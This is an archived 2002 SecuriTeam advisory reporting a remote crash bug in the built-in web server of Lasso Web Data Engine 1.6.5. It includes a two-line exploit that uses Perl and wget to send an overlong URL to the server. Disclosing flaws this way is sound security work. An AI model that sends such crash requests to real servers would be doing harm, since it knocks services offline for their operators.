[NT] Blue World Web Data Engine Web Server Overflow

From: support@securiteam.com
Date: 02/18/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 18 Feb 2002 19:20:01 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Blue World Web Data Engine Web Server Overflow
------------------------------------------------------------------------

SUMMARY

 <http://www.blueworld.com/blueworld/products/LassoWDE3.6/Overview.html>
Lasso Web Data Engine is leading cross-platform Web application server
software allowing Web developers to quickly serve powerful database-driven
Web sites. A security vulnerability in the product's built-in web server
allows remote attackers to cause it to crash.

DETAILS

Vulnerable systems:
Web Data Engine version 1.6.5

Exploit:
$ export ATTACK=`perl -e "print 'A' x 1600"`
$ wget http://example.com/$ATTACK

ADDITIONAL INFORMATION

The information has been provided by <mailto:replugge@alcoholico.org>
Replugge Rod.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • [NT] Vulnerability in HTML Help Allows Code Execution (MS05-001)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service ...
    (Securiteam)
  • [NT] Microsoft JScript Remote Code Execution (MS06-023)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... There is a remote code execution vulnerability in JScript. ... Configure Internet Explorer to prompt before running Active Scripting ...
    (Securiteam)
  • [NT] Cumulative Security Update for Internet Explorer (MS05-052)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... A remote code execution vulnerability exists in the way Internet Explorer ...
    (Securiteam)
  • [NT] Vulnerability in Microsoft XML Core Services Could Allow Remote Code Execution (MS07-042)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Vulnerability in Microsoft XML Core Services Could Allow Remote Code ... mode sets the security level for the Internet zone to High. ...
    (Securiteam)
  • [NT] Microsoft Data Access Components (MDAC) Function Code Execution (MS06-014)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Microsoft Data Access Components Function Code Execution ... for the Internet security zone to prompt before running ActiveX controls. ...
    (Securiteam)